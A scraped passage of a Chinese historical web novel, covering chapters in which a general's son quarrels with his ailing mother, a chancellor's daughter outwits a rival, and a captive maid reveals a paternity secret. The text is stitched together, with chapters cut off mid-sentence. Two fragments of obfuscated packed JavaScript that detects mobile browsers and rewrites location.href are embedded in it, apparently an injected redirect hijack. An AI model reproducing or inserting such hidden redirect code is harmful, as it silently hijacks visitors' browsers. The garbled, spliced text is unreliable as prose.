谢荼闻言扑哧笑出声。 她知道,前有父亲做榜样,哥哥心里定是有一定压力,只是这压力无处纾解。 是她忽视这最亲近的人了。 “父亲这几日虽说是因为忙于公务,早出晚归,可他定是希望哥哥不要有太大压力,寻常心对待。” 父亲自打那日将对牌交到她手中后,就再也没在她醒着的时候回过府。 他们父子俩,一个赛一个的倔强,平日里根本不知道如何相处,可又最是挂心对方。 因此上一世,两人会为了维护对方,咬紧牙关,任由酷刑拷打,都没有屈招半个字句。 “我知道,你也不 6. 争执 《鹤公子有所荼谋(重生)》全本免费阅读 定远将军府的正房荣恩院的内间里,一名雍容华贵的美妇人正阖着双目跪在蒲团上,口中默念着经文。 她面前檀木透雕八仙图的供案上,摆着一座金箔贴身的释迦牟尼像,香炉中正燃着的线香升起袅袅青烟,熏得整个屋子里烟雾缭绕。 厅堂中间的火盆上架着一只小药壶,正“咕嘟咕嘟”地熬着药,憋闷的屋子里一股子药味。 “母亲,您找我?”姜鹤人未到声音先从屋外飘了进来。 “二公子。”小丫头撩开厚重的织缎帘子,迎了姜鹤裹挟着一阵寒气进屋。 他伸手解开披在身上的灰毛鼠大氅递给门边的小丫头,走到内间向美妇人请安: “母亲近来身子可爽利?您腿脚不好,别跪太久,坐着抄抄经书,佛祖也能知晓您的诚意。” 美妇人睁开双眼,瞪了小儿子一眼:“没得在佛祖面前胡言乱语。” 她伸出保养极好的手,大丫头碧溪连忙上前扶起她,姜鹤也跨步上前撑了一把:“怎的是我胡言乱语,各人有各自的孝敬法子罢了。” 他扶着母亲绕过八扇镶象牙浮雕福禄寿喜的屏风,落座于黄花梨透雕刻丝步步高升交椅上,蹲下身子,双手握拳,轻轻地锤起母亲的双膝。 “这几日天气阴沉落雪,母亲双腿顽疾可有发作?” 姜鹤仰起头,看向年仅四旬,却已经早生华发的母亲长宁郡主。 按理说,长宁郡主作为皇帝嫡亲姑母之女,皇帝同辈之中唯一的女性,自是无比尊贵,娇宠着长大。 可随着时间的推移,长宁郡主愈发的小心谨慎,丝毫不敢提及当年扶持皇帝上位的功绩。 不仅仅是因为他的父亲姜宗林、兄长姜鹄手握十万大军戍守边关如履薄冰,也是因为长宁郡主出身皇室,自然深知皇家薄情的道理。 “偶尔有些疼痛,日常照看我的王太医照着旧历隔日便来给我针灸施药,已无大碍,我儿不必挂心。” 长宁郡主眼神慈爱,伸手摸了摸姜鹤的脑袋。 “听你身边人说,你这几日又成天儿地胡闹,可别忽略了自己的课业。” “我知道,况且我知道陪着在场,等到他们酒醉,我早已离开。” 姜鹤站起身来,坐在一旁的椅子上,端起小丫头端上来的青柚白瓷茶盏喝了一口,赞叹道:“好茶,定是母亲典藏的君山银针,今日竟也舍得拿出来给我打打牙祭。” 长宁郡主被他逗笑:“可怜你定远将军府的二公子竟然没有好茶吃,巴巴地跑来我跟前儿讨赏。” 屋里的小丫头们全都屏退,姜鹤一副正是如此的神情,倒是逗得长宁郡主身边的大丫头碧溪捂嘴直笑。 “近日还忙些什么?陈朝被差遣去江南还未回来,只一个陈全跟着你办事,可还用得趁手?” 姜鹤神色一凛,知道自己母亲想问些什么,直接开口道:“江南那边我打算插手一批贩丝的买卖,先派了陈朝去打前锋。” “所以你就拉着南昌伯爵府的几位公子入局?”长宁郡主的脸色逐渐冷下来,“那姓吴的一家子都是什么泥腿子身份,你也值得在他们身上花心思?” “所以才要他们在明,我在暗。那桩生意是他们‘无意中’发现的,我也从未经手,他们只当捡了个大便宜。”姜鹤神色不惧,“儿子实在不想浑浑噩噩渡过此生。” “啪——” 长宁郡主手中的茶杯狠狠地拍在桌上,面色难看:“你想怎么样?我和你说过的话你可是都忘了?” “你的父兄在边关吃苦,如履薄冰,留你在京城只是为了能让他们心安,你倒好,折腾这些事情,可有把他们的安危放在心中?” 姜鹤不复适才的欢快,脸色也差到极致,不服气道:“母亲总是杞人忧天,朝廷仍需仰仗我姜家军镇守边关,且我如今只是单单做门买卖,怎么就会引得旁人不满猜忌至此?” 立在一旁的碧溪见到两位主子争执起来,连忙垂头疾步掀开帘子出门,并撵走了院子里洒扫着的小丫头们,自己则站在屋子门口守着。 长宁郡主忍着心中汹涌的怒意,压着声音呵斥道:“你看一个婢女都知道兹事体大,忙着避出去,你倒好,就像那些破落户一般直接在我的屋子里嚷嚷起来,成何体统!” “这些年,我见你在外人面前勤勤恳恳扮演着‘京城纨绔’的角色,老老实实守着陛下赐给你的荫封职务,不折腾旁的,还以为你知道心疼你父兄在外征战的辛苦,明白低调收敛,清除旁人心中猜忌的重要性。” “不想你心中竟然还存有其他想法。好好好!倒是我限制了你的自由,耽误了你的前程,你这就自请离家去,走你的阳关道,再与我姜家无瓜葛!” “咳咳咳——” 长宁郡主怒急攻心,脸涨得通红咳嗽不止,一副快要喘不过气起来的模样。 适才一副倔强模样的姜鹤,见到母亲咳成这个样子,终于慌了神,忙倒了杯茶递给长宁郡主,又用手掌一下下地帮她顺着气。 长宁郡主就着姜鹤的手喝了一口茶,仍然没能压下这阵剧烈的咳嗽,反而“哇”的一声吐出一口血来,昏死在姜鹤的臂弯里。 “来人!快来人!”姜鹤大急,打横将长宁郡主抱起往内室走去,“碧溪姐姐,快去请王太医来!” 他将长宁郡主放置在黑漆描金拔步床上,从床头的暗格中取出一只精巧的瓷瓶,倒出一颗珍珠般大小的药丸,掐着她的下颌塞了进去。 碧溪已经端着水盆走了进来,拧了条帕子搁在长宁郡主的额头上,又将小炉子上熬着的药倒了碗出来,扶起长宁郡主往她口中灌药。 定远将军府离皇城很近,因此王太医来得很快,拎着药箱被小徒弟搀扶着一路小跑地进了内室。 “母亲的病……”姜鹤面露自责,焦急地问道,“怎么样了?” 王太医摸着胡须把着脉,又掰开长宁郡主的眼皮子看了看,慎重地摸出银针扎了几处。 “二公子不必忧心,郡主娘娘虽然急火攻心晕厥过去,但好在恰巧将淤积在心口的淤浊呕了出来,我已施针稳固住病情,待会儿再开副方子给郡主娘娘调理即可。” 姜鹤松了一口气,亲自陪着王太医写下方子,仔细询问了熬药的法子,再送他出了府。 待他返回屋里时,长宁郡主已经悠然转醒。 看着杵在床榻边,一双桃花眼眼尾艳红的小儿子,长宁郡主哪有不心疼的: “我知你非池中物,可咱们姜家在朝堂之上已经如同被架在烈火上烤着,我自你幼时便耳提面命,令你收敛聪慧敏锐,最好浪荡纨绔度过此生。” “你和你哥哥的婚事,我和你们的父亲也不能做主,在前程上也确实委屈了你的一腔抱负。可若是能有别的法子,我们家也不必 7. 演戏 《鹤公子有所荼谋(重生)》全本免费阅读 听了吟心的低声介绍,赵温看向谢荼的目光立时带上了审视,还有一丝说不清道不明的情绪掺杂其中。 自从跟着厉青玉上了京城,因为身份的特殊,她便被拘在南昌伯爵府的一处偏僻厢房中不得自由。 京城的贵女圈,她不曾接触也没有法子接触。 昨夜她离开那处小院后,醉酒到不省人事的厉青玉就被人扔在了南昌伯爵府的大门口。 落雪初春的夜晚寒冷刺骨,厉青玉就这么躺在雪地中睡到天明,直到清早,伯爵府小厮开门,这才发现了他。 不仅人被冻伤了,就连沿街贩夫走卒都看见了他的狼狈模样。 厉青玉丢了好大一个人,连带着他的那位在府中做二夫人的嫡亲姨母,也被伯爵府的老夫人狠狠训斥了。 他的嫡亲姨母不顾他伤寒卧床不起,带着人便冲进了他居住的偏僻院子里,当着一众下人的面狠狠斥责了他“心比天高”。 厉青玉闹了个没脸。 他怎么也想不通,他是和府中吴家几位公子一同出去吃酒,怎的只有他被丢弃在大门口,其他人则是好端端地被人送回了府。 可他没有办法攀咬责怪,只能吞下这个暗亏。 而后,他偶然得知赵温竟然不顾车夫的阻拦,去了那座小院寻他,他顿时明白了其中的关窍。 他将赵温狠狠呵斥了一顿,并且扬言如果她再胆敢破坏他的好事,他就会要她好看! 赵温将自己关在房中狠狠地哭了一场,趁着午时伯爵府里人人困倦,换了身女子打扮就出了门。 她用自己临出门前娘亲给她的体己银子,买了一堆的胭脂水粉,却被人撞碎了一地。 本应该是件令人恼火的事情,可她竟然也因此结识了京城之中有名的贵女。 若她能和这位谢相嫡女搭上话,说不定她和厉青玉之间的事情,将会有不一样的际遇。 “原来是谢家姑娘,久仰大名。”赵温收起刺探的目光,温温柔柔福身问好,“不值钱的东西坏了倒也无碍。” 谢荼微微颔首,语气轻柔:“是我的不是,理应赔的,吟心,你拿着姑娘的东西去掌柜那见样重买一份,我和这位姑娘先去对面的江月楼吃盏茶。” “是。”吟心让小丫头先仔细捡起地上的碎瓶子,自己则先扶着谢荼去往对面的江月楼,“小二,一间上等雅间。” 赵温也不再推脱,跟着谢荼一行人便进了雅间。 这间雅间位于江月楼的第三层,且比邻畔池边,是个最佳赏景之地,畔池水面上的景色皆一览无余。 吟心替她们点了一壶六安瓜片茶,并几碟子蜜饯果脯、玫瑰酥、藕粉桂花糖糕等精致糕点,这才规矩行礼退下,返回对面的玲珑阁采买赵温损坏的东西。 “谢姑娘您太客气了。”赵温主动挑起话头。 她仍然留有一丝警惕,只报了自己的姓氏,并未言明自己的身份:“姑娘今日想要买些什么?” 谢荼玉指捻起一枚桂花酥尝了一口道:“左不过成天待在家中憋闷,出来散散心。听说附近的绸缎铺子和首饰铺子里新进了一批稀罕物件,我也是闲来无事,趁机赶来一饱眼福。” 赵温想起自己被花得所剩无几的体己银子,心中五味杂陈。 这就是出身相同命也不相同。 谢相的嫡女看中什么,自然是手到擒来,甚至还会有其他人上赶着赠送。 可她能有什么,无非是厉青玉的宠爱,如果她就连这点宠爱都保不住的话,那她还能指望什么呢? 想到早晨厉青玉对着她嘶吼的模样,她的心中就是一痛。 他在外花天酒地,只将自己独自扔在那人生地不熟的四方院落中,难道之前所有的海誓山盟,全都是骗人的? 赵温不知道,她捏着茶杯心中百转千回的样子,早就被谢荼看在了眼里。 她喝了一口茶,缓缓开口道:“若是赵姑娘不嫌弃,若有闲暇时间可以与我约着一同去挑选,适才实在是太不好意思了。” 谢荼将态度摆得很低,赵温心中嗤笑。 想必是刚刚那幅场景被在场的人看在眼里,因此这位谢家姑娘才如此紧张。 这样的高门贵女,生怕自己的名声有些什么污点,会影响她们嫁入高门的大好前程。 “只是赵姑娘落座后一直秀眉紧蹙,是有什么心事吗?”谢荼绕着弯子开始打听。 赵温一顿,不自觉抬手摸了摸自己的额头,心道:自己的情绪竟然这般不好了吗,让一个素未谋面的人看了出来。 女子向来心善,她心里盘算着这或许是一个和谢家嫡出姑娘交心的机会。 于是她低眸垂泪,将自己说成了一位跟着未婚夫婿上京赶考,夫婿却一心在外浪荡的苦命人。 “我只盼他能同我安安稳稳度过此生,可他却心比天高,攀上了些公子哥儿就飘飘然了,对我又打又骂,早晨甚至差点儿把我撵出家门。” 赵温哭得很伤心,谢荼看着她,却也不戳穿她话中的漏洞。 她轻声安慰,同仇敌忾,一副要为她打抱不平的模样。 “究竟是什么浪荡子,竟然带着有家室的人,去那些勾栏瓦舍厮混,太不知廉耻了!”谢荼顺着话头就骂出声。 “男人果然都是只会花言巧语,如今只是在感情上欺骗你,若是将来有关乎前程的大事,只怕这样的男人也会果断将你撇弃在一旁!” “你家长辈怎的如此糊涂,竟然为你选了这样一位未婚夫婿。”谢荼柳眉紧蹙,“你同家里人说说,能否取消这桩婚约?” 赵温一愣,苦笑道:“自幼定下的婚事,岂是简单几句话便能取消的?” 再说,以她的身份,能和厉青玉这样的举子在一起,已经是她高攀了。 但是谢荼说的话倒是提醒她了,刚上京城便成这个样子,如果将来遇到更重要的关乎前程的大事,厉青玉只怕是毫不犹豫地将她推开。 想到厉青玉和她之间的约定,她霎时便觉得心中如有针刺,她合该好好再替自己筹谋一番。 赵温一副怅然若失的模样,谢荼也跟着伤心起来,摸出帕子陪着掉了几滴眼泪。 去采买胭脂水粉的吟心返回房间,除去适才被谢荼损坏的东西,吟心甚至还包了几件玲珑阁的珍藏品。 “谢姑娘你太客气了。”赵温受宠若惊。 “是我先失礼了,赵姑娘如今在京城人生地不熟的,难得遇到个能说得上话的人,我自是愿意成为姑娘的解忧花。”谢荼温婉客气地将她送出了门。 此时已到午时,吟心叫来小二撤下桌上的糕点吃食,重新上了江月楼最出名的几道菜式。 谢荼特意要了壶桃花酿,坐在临窗的檀木浮雕祥云交椅上,看着窗外的风景,心里想着下一步的计划。 “谢姑娘的演技着实好,若不是我知道你的为人,只怕也是要被骗了去。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12836536|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开了一条缝,从里面走出来两个小厮模样的人。 他们趁着夜色,悄然混进人群中,消失在京城无人的巷尾里。 姜鹤准备的马车接上谢荼和吟心主仆二人,立刻往谢愉恩田庄的方向疾驰。 等到了那儿,看守二丫的高兴刚刚被姜鹤手中的迷烟熏晕过去。 “你只有一炷香的时间,抓紧问些关键之处。”姜鹤悄声叮嘱谢荼。 迷香是薛素亲手所制,能在瞬间迷晕人。 等人清醒后,并无不适,只会觉得自己打了一个盹。 他要在谢荼问完话之后,把高兴安置靠在门口处的墙上,让他醒来后只是觉得自己小小打了个盹而已。 谢荼点了点头,吟心护着一盏油灯,陪着她轻轻推开那扇房门。 房里,被关押着的二丫正有气无力地靠在软榻上。 那日姑娘命她密切关注老爷的一举一动,她邀功心切,趁着月色爬上了益晖堂正屋的屋顶。 她也因此,听到了谢老夫人和老爷的对话。 得知惊天秘密的二丫,在惊慌之下急忙下撤,意外触碰到了屋檐的砖瓦。 谢老夫人没有听见动静,可老爷身边的小厮高山耳聪目明,将她一把抓住。 她被抓到这处来,虽然有吃有喝地待着她,可她被喂了像是软筋散的东西,浑身没有力气,根本不能脱身。 她也后悔不已,后悔自己不该不听姑娘的叮嘱,应该远远地跟在老爷身后,观察观察他的表情就好了! 又是一天过去了,她闭起双眼,回想起那日老爷看向她的复杂眼神,心中颤抖不已。 “二丫!二丫!” 是姑娘的声音。 二丫在半睡半醒间,好似听见了自家姑娘的呼唤声。 可是她不敢睁眼,她害怕又是梦境一场。 直到,一双温热的手碰了碰她的脸颊,轻轻推了推她。 “二丫,醒醒!” 二丫猛然睁开双眼。 她心心念念的姑娘正以一身小厮打扮,好端端地站在她的面前! “姑娘!”泪水夺眶而出,二丫再也忍不住,使尽了浑身力气,从软榻上挣扎着起身,想要给谢荼行礼。 “姑娘!您来救我来了!” 谢荼猛然捂住二丫的嘴巴,端着一盏昏暗油灯的吟心,也急得对她做了个噤声的手势。 “你别出声。”谢荼知道二丫受了苦楚,但眼下这个情形,她必须向二丫解释清楚今日来的目的。 “我只是偷偷进来见你一面,知道你还好,我就放心了。”谢荼安慰她,“看来父亲已经知道你是我的人,所以才没有要了你的性命,只是将你关押在这里,没收了你的自由。” 谢荼不提起谢愉恩还好,一提起她,二丫的情绪显然更加地激动。 “姑娘,府里有些人是不是对您不好了?”二丫急得眼泪直流。 谢荼从色欲熏心的谢芃手中将她救下,她就把谢荼看成再生活菩萨。 她听到的事情事关重大,联想到益晖堂谢老夫人从前对自家姑娘的态度,她的心都快要碎了。 “你别急,我知道你是担心我的处境。”谢荼再一次试图安慰她。 “我今日偷偷来见你,就是想问问你,你那晚究竟是听到了什么?” 79. 惊闻 谢荼问出话后,原本激动不已的二丫陡然噤声。 屋子里头静悄悄的,只有吟心手中捧着的油灯火光跳跃着。 微暗的灯光照在二丫的脸上,衬托出她的脸上惊惧悚然的神情。 “我听见了什么?”二丫口中喃喃重复着谢荼的问话,“我听见了什么?” 谢荼心中“咯噔”一下,见二丫这副神情,知晓此事必定是个能颠覆谢家的重大之事。 “二丫。”谢荼轻声唤她,试图安抚她,“没事的,你告诉我,我来想办法。” 二丫仍旧一副惊魂未定的模样,谢荼再度放缓语气说道:“不管你听见了什么,不管那件事有多骇人听闻,你都应该告诉我。” “是我派你去探听消息的,你是我的人,无论是何种惊天大秘密,我都会用尽方法,将损失降到最低。” “你不要慌张,既然我能有办法偷偷潜入这庄子来见你,便有办法能将你从这庄子里救出去。” “等这段时间过去,我会想办法将你送出京城,绝不会让你有性命之忧。” “二丫,你信我,可好?” 谢荼声声唤着二丫的名字,将她猛然拉得回过神来。 二丫抬头,看见谢荼温柔忧心的面容,跳到心口的惧怕被她强制压下。 她低低应了一声,猛然抓住谢荼的双手,哑着嗓音道: “姑娘,老夫人怀疑,您不是老爷亲生的!” 这话一出口,谢荼如遭雷击。 那惊颤震得她一颗心颤了又颤,险些摔倒在地。 “怎么可能!”她下意识就反驳,语气激烈,“我怎么可能不是父亲亲生的?” 夜色渐浓,天边的黑云阴沉沉地压下来,墨色云团里裹挟着阵阵春雷声,压在谢荼心头惹出她一股寒意。 二丫舔了舔干裂的嘴唇,神色也很紧张,瞥着谢荼的脸色继续道: “奴婢一开始离得远,并没有听清楚老夫人和老爷究竟在说些什么,只是老夫人口中骂骂咧咧,说着老爷糊涂,老爷傻的话。” “等奴婢爬上屋顶,小心翼翼掀开一块砖瓦,这才听清楚他们二人说的内容。” “老夫人说:‘你别以为我不知道那小贱人的事情,我为了顾忌你的面子,从来没有拆穿她,你却为了个野种欺负老母侄女!’” “当时老爷的脸色就变了,奴婢从来没见过老爷那种神情,像是憎恶、极怒,又很哀怨。” “下一瞬,就听老爷压低嗓音问老夫人:‘你知道什么?’” “老夫人似乎有些怕处于极怒状态的老爷,没敢继续呛声,也没有回答老爷的问话,只威胁道:‘你若是让我和老三家闺女不好过,我也会让你的宝贝女儿不好过!’” “再然后,老爷沉默片刻,就道:‘行,我知道了’。” “奴婢眼见老爷要出门,吓得赶紧往屋檐下爬,但奴婢的手脚笨重,不小心碰到了松动的砖瓦,惊动了老爷身边的小厮高山大哥。” “高山一把就抓住了奴婢,随后奴婢就晕了过去,再醒来时,就被关在这里了。” 滚滚春雷带着淅淅沥沥的春雨,到底是浇灌了下来。 滴滴答答的雨声打在窗棂上,沁得屋子里三人的心头一片冰冷。 烛火幽微,洒在谢荼的脸上,只剩下满脸的木然。 “姑娘?”吟心心头一跳,伸手扶了一把谢荼。 谢荼顺势就软着坐到了榻边,手指头紧紧地掐着木质的床板,发出“咯吱咯吱”的刺耳响声。 “不会的,其中肯定有什么误会。” 谢荼声音轻柔,已逐渐恢复平静,在空荡的屋舍中显得空灵鬼魅。 谢荼垂下眼眸,漆黑的眼眸看向身边的吟心,苍白如雪的面容没有一丝血色,声音却更加坚定了几分。 “若这件事是真的,父亲这些年对我,对母亲,便不会是这样的态度。”她神情平淡近乎诡异。 “这件事有蹊跷,事关我母亲的声誉,我一定会彻查到底。” 午夜,淅淅沥沥的雨声遮掩了田庄里的一切。 高兴突然惊醒,他竟然靠在门上睡了过去! 他迷茫地眨了眨眼睛,然后回头看了看紧闭着的屋舍大门,片刻后,不放心的他还是解开门锁,推开大门进去查看。 屋子里漆黑一片,他摸着黑走到床边,只见抓来的小丫头依旧老老实实地蜷缩在床榻上睡着,呼吸均匀,没有醒来的征兆。 他想起一日三顿掺在饭菜里软筋散,心中松了口气,觉得还是自己想多了。 他一定是累了,才会打盹睡着片刻。 他转身退了出去,关上屋舍的大门,重新上锁,又绕着屋舍绕了一圈,检查窗户外钉着的木条完好无损,这才彻底放下心来。 他没有注意到的是,在他出门那一刻,一直蜷缩在床榻上的小丫头突然睁开了双眼。 ———————— 夜雨淅淅沥沥一直下着。 急行的马车在泥泞的道路上压出一条深深的轮辙印,却又很快被泥水淹没。 谢荼沉默地坐在马车车厢里,面色晦暗,唇角紧抿,周身说不出的压抑。 姜鹤陪同坐在一旁,满脸担忧地望着她。 出于尊重,适才谢荼进去问话的时候,他和陈全带着昏睡的高兴退出了院子,没有听见屋子里的谈话内容。 但从谢荼走出那间屋子开始,他就敏锐地察觉出不对劲来。 他没敢多问,且时辰已经不早,马车又停地远,他们四人只能徒步走在雨中,匆匆回到马车上。 春雨下得急,纵然有一柄纸伞遮挡,谢荼身上的衣服也在所难免会被打湿。 吟心用车上干布擦拭她身上的雨滴,担忧道: “夜深风大,姑娘淋了雨受了寒气,可千万不要生病才好。” 因夜雨渐大,车厢内只有一盏琉璃灯照明,光线昏暗,姜鹤原本是看不清谢荼的表情的。 一声惊雷暴起,光亮划破夜空,从车窗的缝隙中照进车厢内,只那一瞬,他看见谢荼脸颊上的水珠。 他心中猛然一跳,平放在膝头的手猛然抓紧了下摆。 只是,他还没来得及开口安慰,谢荼平静清冷的嗓音就在车厢对面响起: “姜公子,什么情况下,旁人会认为你和某人有染还生下了子嗣? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867351|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” —————— 人说春雨贵如油,来去皆快。 等他们进城后,雨便渐小,直至停下。 马车停在谢府相邻的胡同里,刚刚停稳,吟心便顺着小几跳下马车,伸手扶了脸色不太好看的谢荼下车。 原本姜鹤让马车再往谢府那头停一停,可谢荼直言拒绝,只接过了他手中的蓑衣遮挡寒气湿气。 谢荼心中装满了疑惑,转身就顺着胡同往谢府走去。 吟心匆匆忙忙向姜鹤主仆两人行礼致谢,转身追着谢荼而去。 她们二人回到出来的角门,轻轻敲了敲门。 等在门后的小丫头迅速拉开门,由着两人侧身进入。 “如何?”吟心问那守门的小丫头,“重峦院里可好?” 小丫头有些紧张,咽了咽口水看向她: “有个眼生的婆子一直在院子外徘徊,探头探脑半炷香前闪身不见了踪影。奴婢怕她是怕有备而来,回头寻个由头找姑娘的不快,姑娘要不从后头绕进内室里去。” 吟心伸手给了她一锭银子,夸了句“做得好”。 谢荼闻言,拢紧身上的蓑衣,转身就往重峦院外的后山走去。 正如小丫头所言,待她们刚刚从后山上翻进院里时,重峦院外便来了好些提着灯笼和火把的婆子。 领头的正是从前在王氏跟前儿服侍的王妈妈。 三更半夜,一群婆子大张旗鼓地举着火把到小姐的院子前叫门,着实是件稀罕事。 不多时,谢府上下都被惊醒。 守着院门的婆子揉着惺忪的双眼,没好气地问王妈妈: “王妈妈深夜到此,有何贵干?” 王妈妈上前走了两步,面上虽然笑着,眼睛里却淬着毒意: “府里遭了贼,我们芸姑娘丢了东西,有人见那贼人往这头跑了,怕惊吓到荼姑娘,特此前来搜查一番。” 守门的婆子啐了一口唾沫,嫌恶道: “你们姑娘住在益晖堂的暖阁里,吃住用都是依靠咱们府上,能丢了什么宝贝?” “再说了,我就在这儿守了大半夜,连只苍蝇都没放进院子里,哪里有什么贼人逃窜至此?” “还说要搜查我们院?莫不是你这婆子看上了我们重峦院里的什么东西,想着要趁乱顺走献给你家姑娘去?” 周围看热闹的下人们“轰”的一声笑出声来,在寂静的深夜里显得格外刺耳。 “说要搜查,得有个搜查令吧?王妈妈得了谁的令能来搜查我们重峦院?咱们老爷本身就是个官爷,不如妈妈去前院请示了老爷,再来干活儿吧?” 守门的妈妈是个口齿伶俐的,素来也看不惯谢芸一家子的做派。 见她们竟然敢欺负上门,恨不得把唾沫星子吐到她们的脸上去。 王妈妈脸色变了又变,压下怒气,并未示弱,反而清了清嗓子扬声道: “我自是得了老夫人的命前来搜查!” “老夫人的命,难道也要问一问老爷允不允许吗?” “这位妈妈一直挡着门口不让我们进,难不成,这重峦院当真有什么见不得人的勾当?” 80. 搜查 《鹤公子有所荼谋(重生)》全本免费阅读 王妈妈这话一出,在场的人都闻言色变。 她这可是公然污蔑谢家嫡出姑娘,指摘这重峦院里有蹊跷。 守门的妈妈怒了,护主心切的她捋起袖子就要上前和王妈妈理论。 巴掌还没有挨到王妈妈的脸颊,王妈妈倒是先往地上倒去。 也不知道谁先踢了谁一脚,两人很快就扭打成一团,旁边的婆子拉架的拉架,劝架的劝架,混乱之中,谁也没注意到,谢芸竟然悄无声息地站在了人群里。 只听“哎哟”一声,伴随着“不好啦!打人啦!”的喊叫声,守门的妈妈这才停住了动作。 王妈妈搀扶着谢芸,见她捂着手臂,满眼心疼,当下就嚷嚷起来: “你们姑娘可真是好教养,手下的妈妈也都是心狠手辣,主子在面前,也敢打人,就不怕伤了我家姑娘,到老夫人那头交代不了吗?” 守门妈妈也被吓了一跳,站在一边双手举着再也不敢挪动。 好在谢芸脸色未变,只柔声道: “益晖堂里糟了贼,听小丫头们说那贼人是往姐姐的院子这头逃窜了,我怕荼姐姐受了惊吓,连忙请示了祖母,带了人来帮姐姐搜查。” 谢芸亲自出面,还带着谢老夫人的命令,今日,这重峦院的大门不开也得开了。 守门妈妈别无他法,只得掏出腰间的钥匙,打开院门,让谢芸身后的人全都进了门去。 这些人如蝗虫过境般,大咧咧冲进谢荼的重峦院,对着花园里的花花草草就一阵乱扯乱拉,很快花园就不像个样子。 守门妈妈急了,她走到谢芸的身边,焦急道: “我们姑娘已经睡下了,芸姑娘如此动作惊扰了姑娘,恐有不妥吧?” “且这花园里的花花草草,都是我家姑娘亲手精心养育的成功,芸姑娘手下的人如此暴殄天物,似乎更不妥当。” 谢芸站在那儿,右手轻抚着腹部,左手扶着王妈妈的手臂,斜睨了她一眼,道: “祖母关心荼姐姐的安慰,下人们有些粗暴也是情有可原的。” “万一那歹人就躲在花草之中,回头惊扰了姐姐,后果更是不堪设想。” 守门妈妈只得再次噤声,派了小丫头去内室唤人通报。 不多时,内室的灯光亮起,如同在黑暗的院子里点起的一盏明灯。 此时的谢芸已经被王妈妈扶着站在内室门口,见灯光亮起,谢芸柔弱的嗓音在深夜中响起: “荼姐姐,妹妹不请自来,实在是担心你的安危,姐姐不如打开门,让妹妹陪上一陪。” 屋内没人回应,谢芸的嘴角忍不住翘了翘。 她就是得了消息,谢荼深更半夜偷偷溜出府,不知道去做什么事。 但是,无论她是去做什么,一个闺阁女子,大半夜地溜出府,都不会是什么正经事。 只要她大张旗鼓以捉贼的借口,当众戳穿谢荼根本不在谢府,到时候,等待她的,只有家法伺候。 她的名声也算是完了。 有这件事在手中拿捏,无论如何,二伯父也会看在英国公府的面子上,再多给她几份嫁妆。 不管是安抚也好,封口也罢,她谢芸才是这件事实实在在的受益人。 “姐姐?”谢芸见屋子里仍然没人回应,面上表现出焦急神色,“荼姐姐,你还没醒吗?” 院子里的动静这般大,就算是睡死过去的也该被吵醒了。 谢荼屋子里半晌没有回应,着实有些不同寻常,院子里头搜查贼人的仆妇们手中的动作便慢慢地停了下来,注意力都被集中在谢荼的屋子里了。 谢芸心中暗喜,想来得到的消息并未出错,谢荼当真是在半夜偷偷溜出去了! 谢芸提起裙摆,跨了半步上了台阶,面容古怪道: “荼姐姐屋子里没有个动静,会不会是那贼人趁乱溜了进去,胁迫住了姐姐?” “啊?” “不会吧!” “这怎么能行!” 满院子里站着的仆妇们全都满脸惊惧,议论纷纷。 这可不是一件小事,高门大户小姐的闺房,被歹人闯入,无论哪歹人在屋子里做了些什么,那姑娘的清誉可也就彻底没有了! 而他们这些在场知晓的人,只怕也要被捂嘴处置。 怪不得今晚来的都是些签了死契的家仆。 某些想到这里的仆妇们,便转头看向了谢芸,脸上也都露出了古怪的神情。 这像是有备而来的样子。 果然,下一瞬,谢芸就一把强硬地推开了谢荼屋子的大门。 “咣当”一声,那扇门被大力地推到了墙上,发出一阵天摇地动的响声。 可即便是这样,谢荼屋子里也没有人出来看一眼,惹得院子里的人纷纷抻长了脖子往屋里瞧。 谢芸脸上的笑容再也掩饰不住,扬高嗓音就带着王妈妈直往里闯。 “荼姐姐......” “芸姑娘止步。”典心裹着披风站了出来,皱眉拦在了谢芸的跟前,“姑娘您这样没头没脑地往我们姑娘的屋子里头闯,是想要干什么啊?” “原来是典心姑娘。”谢芸吓了一跳,但也没怕,“今日是姑娘值夜吗?吟心姑娘也不在?” 她得到的消息是,谢荼只带了一位婢女出门。 眼下典心冒了出来,看来便是吟心和谢荼一道出门去了。 “既然是我值夜,吟心姐姐自然是在罩房休息了。”典心拢紧披风,回道。 许是内心紧张,典心频繁扯动披风的动作引起了谢芸的注意。 她瞄了几眼,很快眼尖地发现,典心披风下遮掩住的衣服非常眼熟,似乎是谢荼的衣裳。 谢芸当即就明白了,典心正是扮作谢荼藏在屋子里,所以不敢吱声。 她差点儿没笑出声来。 “荼姐姐呢?”谢芸还想往里闯,“姐姐如何了?我去看看她。” 典心自然是不可能让她进去,拦在她和王妈妈的面前,左挡右挡,三人撞作一团。 混乱之下,谢芸伸手扯下典心一直拢在身上的披风。 下一瞬,她就叫起来:“典心,你怎么穿着你家姑娘的衣服!” “我们在院子里搜查动静这般大,荼姐姐的屋子门始终关着,而现在你还穿着荼姐姐的衣裳,挡 81. 对峙 谢荼的闺房,谢芸还是第一次踏入。 地上碎瓷片洒了一地,她拎起裙摆绕过,内心更加雀跃以及确信。 动静这般大,谢荼还未出声,只怕是真不在屋子里。 她的胆子愈发大,竟然开始琢磨起如何能在今日谢荼不在场的情况下,将她屋子里的东西好好折腾一番。 可惜只因是深夜,屋子里灯没有点上一只,室内幽暗,她看不清楚四周的情形,只能闷头往里闯。 